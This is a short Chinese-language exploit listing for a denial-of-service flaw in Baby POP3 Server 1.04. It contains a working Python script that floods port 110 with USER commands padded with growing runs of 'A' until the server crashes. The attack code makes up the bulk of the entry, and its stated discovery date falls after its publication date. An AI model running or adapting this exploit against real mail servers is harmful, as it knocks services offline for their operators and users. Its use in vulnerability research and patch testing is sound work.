DOS Baby POP3 Server 1.04

2025年8月28日 作者：Érick Sousa

风险等级： 中等 本地利用： 否 远程利用： 是 CVE编号： 无 CWE编号： 无

漏洞信息

漏洞标题： DOS Baby POP3 Server 1.04 发现日期： 2025年12月8日 漏洞作者： Érick Sousa (https://www.linkedin.com/in/erickssa) 厂商主页： https://www.pablosoftwaresolutions.com 软件链接： https://www.pablosoftwaresolutions.com/html/baby_pop3_server.html 受影响版本： Baby POP3 Server Version 1.04 测试平台： Windows XP 和 Windows 7

漏洞利用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Python 3.13.5 ;)
import socket

jkcode = b"A"
counter = 0

while counter < 10000:
    counter += 10
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.18.240", 110))
    s.send(b"USER " + jkcode * counter + b"\r\n")
    s.close()

技术说明

该漏洞利用代码通过向Baby POP3服务器的110端口发送特制的USER命令，其中包含不断增长的"A"字符缓冲区，最终导致服务器因缓冲区溢出而崩溃，实现拒绝服务攻击。